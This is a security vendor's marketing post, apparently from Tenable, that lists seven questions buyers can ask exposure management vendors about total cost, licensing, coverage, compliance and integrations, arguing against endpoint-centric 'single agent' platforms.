“When we review our security investments, I want to ensure we consider total cost of ownership for our exposure management goals and any changes in our business risks. While the promise of a single agent solution can be enticing, the reality is that incomplete coverage increases enterprise risk, which increases the likelihood of a breach, and often requires additional investments to fill in visibility gaps.” 

— Matt Brown, Tenable CFO

Key capabilities of genuine exposure management platforms

To avoid the unexpected costs of a fragmented, endpoint-centric approach, you must first be clear on what a genuine, market-leading exposure management platform provides. Market research firms agree that the following capabilities are non-negotiable for exposure management platforms:

• Deep, comprehensive vulnerability and exposure data across all assets, including those in cloud workloads, network edge devices, AI platforms, OT/IoT environments, on-prem data centers, and more
• Transparent and precise exposure prioritization
• Guided remediation 

A true platform delivers a single, integrated workflow to manage the entire exposure lifecycle: from advanced vulnerability and exposure intelligence and AI-driven prioritization to patch management and response validation.

To provide a full and precise inventory of all of your assets and their exposures, it must use multiple detection methods, including active scanning, passive network scanning, and agent-based coverage. Equally important, it must provide rich, multidimensional context on how those assets relate to and impact each other.

It’s only when you have a single, unified view of all your assets and their security issues that you can reap exposure management’s core value: preemptive risk reduction.

We also invite you to explore our own exposure management maturity model, where you can get deeper details about the eight key criteria for assessing maturity, and the five maturity levels.

Now that you know what to look for in an exposure management platform, dig deeper and ask vendors these seven critical questions.

7 questions to avoid exposure management sticker shock Key questionHidden cost to avoid1. What is your offering’s final TCO after including all modules and integrations?The “base price” mirage: Don’t fall for a low initial quote only to discover that “optional” add-ons truly are essential features or that you’ll have to incur unexpected costs to integrate third-party tools into the core platform.2. Does your licensing structure allow for predictable budgeting?The “credit pool” lock-in: Beware of contracts with credit models that evaporate quickly, making it impossible to forecast future expenses accurately.3. Can your platform offer total visibility across a hybrid attack surface?The “single agent” blind spot: Relying on endpoint-centric scanners that miss entire categories of assets leads to a false sense of security, while “toxic combinations” of exposures go undetected.4. Will this tool demonstrably reduce manual workload and operational overhead?The “efficiency drain” burden: Make sure you don’t choose a high-friction platform that creates more work than it saves by requiring your staff to manually fill coverage gaps, instead of automating remediation workflows and prioritizing risks.5. Does your solution support comprehensive, multi-framework compliance reporting?The “bare minimum” compliance fail: Platforms that simply check a box against a single standard leave your enterprise vulnerable to fines and penalties across the complex web of regulations it needs to meet.6. Can your platform translate technical data into business-relevant insights?The "granular data" disconnect: Presenting the C-suite and the board with raw CVE counts rather than high-level business risk context and peer benchmarks forces your team to manually build reports that leadership can actually understand.7. How robust is your platform’s integration ecosystem for third-party tools?The "siloed" solution: If you select a platform with limited connectors that cannot ingest data from your existing best-of-breed tools, you’ll be hampered by fragmented visibility and wasted ROI on your current stack. 
1. What is your real TCO once all modules and integrations are included?

The initial per-asset price that EDR vendors quote you is often just a starting point. We’ve seen costs double once customers realize "optional" modules are actually mandatory, unless you want the “exposure management” platform to offer only partial security and compliance coverage of your hybrid environment. Then comes the expense and complexity of integrating third-party “add-on” modules into the core platform.

Ask them: Can you provide an all-in, per-asset price that includes every module needed for comprehensive exposure management without any hidden dependencies or unforeseen add-ons — such as a separate EDR license — and without requiring costly and complex integrations?

2. How does your licensing model support budget predictability?

Don't let a vendor talk you into credit pools that evaporate swiftly. Credit-based drawdown models will obscure your budget forecasts, opening the door for unexpected and significant expenses.

Look for a vendor that offers everything you need for a unified, full-featured exposure management platform, with a predictable licensing model. 

Also, since your attack surface changes more than once a year, look for a platform that gives you flexibility to shift licenses among the platform's different components every quarter. Some vendors only allow you to do this once per year.

Ask them: How do you ensure we can start small, scale gradually, and keep our annual costs predictable without blowing through a credit pool? Since our attack surface changes during the year, do you allow us to shift licenses between your platform’s modules to match our evolving cyber risks at least quarterly?

3. Can you prove the completeness and accuracy of your exposure data?

Endpoint-focused platforms that rely on a “single agent” inevitably can’t scan the full attack surface of a modern, hybrid environment that includes legacy servers, OT systems, cloud workloads, AI tools, IoT devices, web apps, and network infrastructure.

Even when these platforms include network scanning capabilities for asset discovery and vulnerability assessment, the scanner relies on the “single agent.” This limits the scanner’s coverage reach to the network segment where the “single agent” is deployed. These agent-dependent scanners also often perform poorly in complex enterprise environments.

As a result, these exposure management platforms flag many false positives while they fail to detect known CVEs and other critical exposures, including SQL flaws, weak ciphers, and more. 

Another byproduct of their limitations: They can’t capture nuanced and rich risk context, and they can’t pinpoint toxic combinations, such as an asset that’s exposed to the internet, possesses excessive privileges, and has a critical vulnerability.

With a limited view of your attack surface, you’re at an elevated risk for cyber breaches and the sky-high expenses they cause due to: operational downtime, lost business, damaged brand reputation, lawsuits, regulatory fines, and more.

Put another way: The financial impact of a single breach from a missed vulnerability or an overlooked misconfiguration can dwarf the platform's cost.

Ask them: Can your platform provide a unified view and full coverage of our entire attack surface, including of assets that can’t be scanned by your single endpoint agent, and thus truly lower our cyber risk by managing all of our exposures across our entire hybrid environment? Can your platform pinpoint toxic combinations of risk?

4. How does this platform demonstrably reduce my team's workload?

Your team is already stretched thin. A tool that acts as a glorified spreadsheet creates work, instead of reducing it.

You need to factor in how much time and effort your team will need to invest manually filling in the blanks left by EDR-centric platforms’ coverage gaps.

Look for an exposure management platform that helps your staff resolve the riskiest threats with the least amount of effort. The platform should lighten your staff’s workload and reduce your operational expenses. 

Specifically, it must offer you robust reporting, pinpoint your most critical risks, and filter historical data by asset groups (e.g., "vulnerabilities fixed in the last 30 days for the finance department's servers.")

It should also help your staff via exposure-response workflows that automate task assignment, track compliance with service-level agreements, and verify remediation.

Ask them: Can your exposure management platform consolidate dozens of remediation tasks into a single, efficient action? How can it help us prioritize, not just catalogue, vulnerabilities? How many full-time employees do your typical customers dedicate simply to operating the tool versus addressing actual risk?

5. What is the true breadth of your compliance coverage?

Modern enterprises must adhere to multiple, complex compliance frameworks — industry standards, government regulations, internal policies, and more. Checking a box against a single benchmark doesn't cut it in the enterprise. You need a tool that helps you streamline your compliance and document it.

Compliance violations can cost you dearly in the form of government fines and penalties, legal liabilities, and lost business.

Ask them: How does your platform meet our enterprise compliance needs across multiple frameworks, and how does it help us report on them?

6. How do you communicate business value and context to leadership?

The C-suite and the board of directors don't care about granular CVE counts. They’re focused on business risk and peer comparison. They need to understand the impact of your organization’s security posture on the business. They need to know if and how the organization is effectively reducing cyber risk, and how it compares in this respect to its peers. 

If you have to manually build that context, your exposure management platform is failing you.

Having these insights is critical so that the organization can make informed, effective decisions with regards to cyber investments and security and compliance strategies. 

Ask them: How can your platform help us benchmark our security posture against industry peers and provide clear, business-centric context for our security investments?

7. How open is your partner ecosystem?

The adoption of new technologies like cloud, AI, containers, and smart devices has led organizations to acquire specialized security tools for each of them. Thus, exposure management platforms must provide a comprehensive and unified approach to integrate and aggregate data from these point security tools into a single exposure data fabric. 

With these integrations, platforms can establish a single source of truth to enable complete visibility into assets and their exposures across the entire attack surface, providing full risk context into asset relationships and viable attack paths, and maximizing return on investment in tools the organization already owns.

Look for an exposure management platform with an open ecosystem that supports the broadest number of security tools. It’s even better if the platform also provides an open framework that lets it ingest data from virtually any homegrown, custom, or specialized point solution with just a few clicks. 

Ask them: How many technology providers do you partner with? How many third-party tool integrations does your exposure management platform have? How do security tool integrations enrich platform capabilities regarding prioritization, risk scoring, and unified remediation workflows?

True value that scales

As an organization scales and its attack surface expands, the "single agent" solution quickly starts to buckle. Scaling it requires additional spend, often without a proportional reduction in risk as costs spiral out of control.

Don’t put your organization in this precarious position.

True enterprise-grade exposure management shouldn't come with hidden surprises. It should scale with you, not against you. It requires a unified platform that delivers broad visibility, intelligent prioritization, and streamlined mobilization. 

When evaluating solutions, look for unified, transparent licensing, comprehensive compliance coverage, and a robust partner ecosystem, all in one place.

Don't let the deceiving simplicity of a "single agent" pitch lock you into a costly and incomplete solution. 

True exposure management provides a unified, comprehensive platform that delivers measurable value and predictable costs as you scale.

Learn more:

• Tenable is named a Leader in the First-Ever Gartner® Magic Quadrant™ for Exposure Assessment Platforms
• View the on-demand webinar “Beyond the Endpoint: Exposure Management That’s Proactive”
• See the Tenable One Exposure Management Platform in action
• Explore the Tenable Exposure Management Maturity Model and Self-Assessment